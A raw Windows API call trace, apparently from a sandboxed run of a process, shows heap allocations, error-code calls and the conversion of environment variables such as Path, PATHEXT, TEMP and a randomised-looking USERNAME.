[0101.363] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4b88) returned 0x34 [0101.363] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4b88, Size=0x38) returned 0x35d4b88 [0101.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0101.363] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0xe) returned 0x35d2108 [0101.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x35d2108, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OS=Windows_NT", lpUsedDefaultChar=0x0) returned 14 [0101.363] GetLastError () returned 0x0 [0101.363] SetLastError (dwErrCode=0x0) [0101.363] GetLastError () returned 0x0 [0101.363] SetLastError (dwErrCode=0x0) [0101.363] GetLastError () returned 0x0 [0101.363] SetLastError (dwErrCode=0x0) [0101.363] GetLastError () returned 0x0 [0101.363] SetLastError (dwErrCode=0x0) [0101.363] GetLastError () returned 0x0 [0101.363] SetLastError (dwErrCode=0x0) [0101.363] GetLastError () returned 0x0 [0101.363] SetLastError (dwErrCode=0x0) [0101.363] GetLastError () returned 0x0 [0101.363] SetLastError (dwErrCode=0x0) [0101.363] GetLastError () returned 0x0 [0101.363] SetLastError (dwErrCode=0x0) [0101.363] GetLastError () returned 0x0 [0101.363] SetLastError (dwErrCode=0x0) [0101.363] GetLastError () returned 0x0 [0101.363] SetLastError (dwErrCode=0x0) [0101.363] GetLastError () returned 0x0 [0101.364] SetLastError (dwErrCode=0x0) [0101.364] GetLastError () returned 0x0 [0101.364] SetLastError (dwErrCode=0x0) [0101.364] GetLastError () returned 0x0 [0101.364] SetLastError (dwErrCode=0x0) [0101.364] GetLastError () returned 0x0 [0101.364] SetLastError (dwErrCode=0x0) [0101.364] GetLastError () returned 0x0 [0101.364] SetLastError (dwErrCode=0x0) [0101.364] GetLastError () returned 0x0 [0101.364] SetLastError (dwErrCode=0x0) [0101.364] GetLastError () returned 0x0 [0101.364] SetLastError (dwErrCode=0x0) [0101.364] GetLastError () returned 0x0 [0101.364] SetLastError (dwErrCode=0x0) [0101.364] GetLastError () returned 0x0 [0101.364] SetLastError (dwErrCode=0x0) [0101.364] GetLastError () returned 0x0 [0101.364] SetLastError (dwErrCode=0x0) [0101.364] GetLastError () returned 0x0 [0101.364] SetLastError (dwErrCode=0x0) [0101.364] GetLastError () returned 0x0 [0101.364] SetLastError (dwErrCode=0x0) [0101.364] GetLastError () returned 0x0 [0101.364] SetLastError (dwErrCode=0x0) [0101.364] GetLastError () returned 0x0 [0101.365] SetLastError (dwErrCode=0x0) [0101.365] GetLastError () returned 0x0 [0101.365] SetLastError (dwErrCode=0x0) [0101.365] GetLastError () returned 0x0 [0101.365] SetLastError (dwErrCode=0x0) [0101.365] GetLastError () returned 0x0 [0101.365] SetLastError (dwErrCode=0x0) [0101.365] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4b88) returned 0x38 [0101.365] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4b88, Size=0x3c) returned 0x35d4be8 [0101.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 105 [0101.365] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x69) returned 0x35d4c30 [0101.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x35d4c30, cbMultiByte=105, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpUsedDefaultChar=0x0) returned 105 [0101.365] GetLastError () returned 0x0 [0101.365] SetLastError (dwErrCode=0x0) [0101.365] GetLastError () returned 0x0 [0101.365] SetLastError (dwErrCode=0x0) [0101.365] GetLastError () returned 0x0 [0101.365] SetLastError (dwErrCode=0x0) [0101.365] GetLastError () returned 0x0 [0101.365] SetLastError (dwErrCode=0x0) [0101.365] GetLastError () returned 0x0 [0101.365] SetLastError (dwErrCode=0x0) [0101.365] GetLastError () returned 0x0 [0101.365] SetLastError (dwErrCode=0x0) [0101.365] GetLastError () returned 0x0 [0101.365] SetLastError (dwErrCode=0x0) [0101.365] GetLastError () returned 0x0 [0101.366] SetLastError (dwErrCode=0x0) [0101.366] GetLastError () returned 0x0 [0101.366] SetLastError (dwErrCode=0x0) [0101.366] GetLastError () returned 0x0 [0101.366] SetLastError (dwErrCode=0x0) [0101.366] GetLastError () returned 0x0 [0101.366] SetLastError (dwErrCode=0x0) [0101.366] GetLastError () returned 0x0 [0101.366] SetLastError (dwErrCode=0x0) [0101.366] GetLastError () returned 0x0 [0101.366] SetLastError (dwErrCode=0x0) [0101.366] GetLastError () returned 0x0 [0101.366] SetLastError (dwErrCode=0x0) [0101.366] GetLastError () returned 0x0 [0101.366] SetLastError (dwErrCode=0x0) [0101.366] GetLastError () returned 0x0 [0101.366] SetLastError (dwErrCode=0x0) [0101.366] GetLastError () returned 0x0 [0101.366] SetLastError (dwErrCode=0x0) [0101.366] GetLastError () returned 0x0 [0101.366] SetLastError (dwErrCode=0x0) [0101.366] GetLastError () returned 0x0 [0101.366] SetLastError (dwErrCode=0x0) [0101.366] GetLastError () returned 0x0 [0101.366] SetLastError (dwErrCode=0x0) [0101.366] GetLastError () returned 0x0 [0101.366] SetLastError (dwErrCode=0x0) [0101.366] GetLastError () returned 0x0 [0101.367] SetLastError (dwErrCode=0x0) [0101.367] GetLastError () returned 0x0 [0101.367] SetLastError (dwErrCode=0x0) [0101.367] GetLastError () returned 0x0 [0101.367] SetLastError (dwErrCode=0x0) [0101.367] GetLastError () returned 0x0 [0101.367] SetLastError (dwErrCode=0x0) [0101.367] GetLastError () returned 0x0 [0101.367] SetLastError (dwErrCode=0x0) [0101.367] GetLastError () returned 0x0 [0101.367] SetLastError (dwErrCode=0x0) [0101.367] GetLastError () returned 0x0 [0101.367] SetLastError (dwErrCode=0x0) [0101.367] GetLastError () returned 0x0 [0101.367] SetLastError (dwErrCode=0x0) [0101.367] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4be8) returned 0x3c [0101.367] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4be8, Size=0x40) returned 0x35d4be8 [0101.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0101.367] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x3e) returned 0x35c88a8 [0101.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x35c88a8, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", lpUsedDefaultChar=0x0) returned 62 [0101.367] GetLastError () returned 0x0 [0101.367] SetLastError (dwErrCode=0x0) [0101.367] GetLastError () returned 0x0 [0101.367] SetLastError (dwErrCode=0x0) [0101.367] GetLastError () returned 0x0 [0101.367] SetLastError (dwErrCode=0x0) [0101.367] GetLastError () returned 0x0 [0101.368] SetLastError (dwErrCode=0x0) [0101.368] GetLastError () returned 0x0 [0101.368] SetLastError (dwErrCode=0x0) [0101.368] GetLastError () returned 0x0 [0101.368] SetLastError (dwErrCode=0x0) [0101.368] GetLastError () returned 0x0 [0101.368] SetLastError (dwErrCode=0x0) [0101.368] GetLastError () returned 0x0 [0101.368] SetLastError (dwErrCode=0x0) [0101.368] GetLastError () returned 0x0 [0101.368] SetLastError (dwErrCode=0x0) [0101.368] GetLastError () returned 0x0 [0101.368] SetLastError (dwErrCode=0x0) [0101.368] GetLastError () returned 0x0 [0101.368] SetLastError (dwErrCode=0x0) [0101.368] GetLastError () returned 0x0 [0101.368] SetLastError (dwErrCode=0x0) [0101.368] GetLastError () returned 0x0 [0101.368] SetLastError (dwErrCode=0x0) [0101.368] GetLastError () returned 0x0 [0101.368] SetLastError (dwErrCode=0x0) [0101.368] GetLastError () returned 0x0 [0101.368] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4be8) returned 0x40 [0101.368] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4be8, Size=0x44) returned 0x35d4ca8 [0101.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0101.368] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x1b) returned 0x35d2680 [0101.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x35d2680, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITECTURE=x86", lpUsedDefaultChar=0x0) returned 27 [0101.368] GetLastError () returned 0x0 [0101.368] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4ca8) returned 0x44 [0101.368] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4ca8, Size=0x48) returned 0x35d4ca8 [0101.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0101.369] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x1d) returned 0x35d26a8 [0101.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x35d26a8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITEW6432=AMD64", lpUsedDefaultChar=0x0) returned 29 [0101.369] GetLastError () returned 0x0 [0101.369] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4ca8) returned 0x48 [0101.369] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4ca8, Size=0x4c) returned 0x35d4ca8 [0101.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 4, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0101.369] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x48) returned 0x35ca980 [0101.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 4, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x35ca980, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 4, GenuineIntel", lpUsedDefaultChar=0x0) returned 72 [0101.369] GetLastError () returned 0x0 [0101.369] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4ca8) returned 0x4c [0101.369] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4ca8, Size=0x50) returned 0x35d4ca8 [0101.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0101.369] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x12) returned 0x35d4b88 [0101.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x35d4b88, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_LEVEL=6", lpUsedDefaultChar=0x0) returned 18 [0101.369] GetLastError () returned 0x0 [0101.369] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4ca8) returned 0x50 [0101.369] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4ca8, Size=0x54) returned 0x35d4ca8 [0101.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5504", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0101.369] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x18) returned 0x35d4ba8 [0101.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5504", cchWideChar=-1, lpMultiByteStr=0x35d4ba8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_REVISION=5504", lpUsedDefaultChar=0x0) returned 24 [0101.370] GetLastError () returned 0x0 [0101.370] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4ca8) returned 0x54 [0101.370] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4ca8, Size=0x58) returned 0x35d4ca8 [0101.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0101.370] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x1b) returned 0x35d26d0 [0101.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x35d26d0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramData=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 27 [0101.370] GetLastError () returned 0x0 [0101.370] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4ca8) returned 0x58 [0101.370] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4ca8, Size=0x5c) returned 0x35d4ca8 [0101.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0101.370] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x24) returned 0x35ce628 [0101.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x35ce628, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 36 [0101.370] GetLastError () returned 0x0 [0101.370] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4ca8) returned 0x5c [0101.370] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4ca8, Size=0x60) returned 0x35d4ca8 [0101.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0101.370] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x29) returned 0x35ceda8 [0101.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x35ceda8, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles(x86)=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 41 [0101.370] GetLastError () returned 0x0 [0101.370] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4ca8) returned 0x60 [0101.370] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4ca8, Size=0x64) returned 0x35d4ca8 [0101.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0101.370] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x1e) returned 0x35d26f8 [0101.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x35d26f8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramW6432=C:\\Program Files", lpUsedDefaultChar=0x0) returned 30 [0101.370] GetLastError () returned 0x0 [0101.370] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4ca8) returned 0x64 [0101.370] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4ca8, Size=0x68) returned 0x35d4ca8 [0101.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0101.370] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x41) returned 0x35ca9d0 [0101.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x35ca9d0, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpUsedDefaultChar=0x0) returned 65 [0101.370] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4ca8) returned 0x68 [0101.370] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4ca8, Size=0x6c) returned 0x35d4ca8 [0101.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0101.371] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x17) returned 0x35d4be8 [0101.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x35d4be8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PUBLIC=C:\\Users\\Public", lpUsedDefaultChar=0x0) returned 23 [0101.371] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4ca8) returned 0x6c [0101.371] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4ca8, Size=0x70) returned 0x35d4ca8 [0101.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SESSIONNAME=Console", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0101.371] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x14) returned 0x35d4c08 [0101.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SESSIONNAME=Console", cchWideChar=-1, lpMultiByteStr=0x35d4c08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SESSIONNAME=Console", lpUsedDefaultChar=0x0) returned 20 [0101.371] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4ca8) returned 0x70 [0101.371] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4ca8, Size=0x74) returned 0x35d4ca8 [0101.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0101.371] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0xf) returned 0x35d2120 [0101.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x35d2120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive=C:", lpUsedDefaultChar=0x0) returned 15 [0101.371] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4ca8) returned 0x74 [0101.371] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4ca8, Size=0x78) returned 0x35d4ca8 [0101.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0101.371] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x16) returned 0x35d4d28 [0101.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x35d4d28, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemRoot=C:\\Windows", lpUsedDefaultChar=0x0) returned 22 [0101.371] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4ca8) returned 0x78 [0101.371] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4ca8, Size=0x7c) returned 0x35d4d48 [0101.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0101.371] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x2a) returned 0x35cede0 [0101.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x35cede0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 42 [0101.371] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4d48) returned 0x7c [0101.371] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4d48, Size=0x80) returned 0x35d4d48 [0101.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0101.371] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x29) returned 0x35cee18 [0101.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x35cee18, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 41 [0101.371] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4d48) returned 0x80 [0101.371] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4d48, Size=0x84) returned 0x35d4d48 [0101.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0101.371] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x15) returned 0x35d4ca8 [0101.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x35d4ca8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERDOMAIN=XDUWTFONO", lpUsedDefaultChar=0x0) returned 21 [0101.372] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4d48) returned 0x84 [0101.372] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4d48, Size=0x88) returned 0x35d4d48 [0101.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0101.372] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x1e) returned 0x35d2720 [0101.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x35d2720, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERNAME=5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 30 [0101.372] RtlSizeHeap (HeapHandle=0x35b0000, 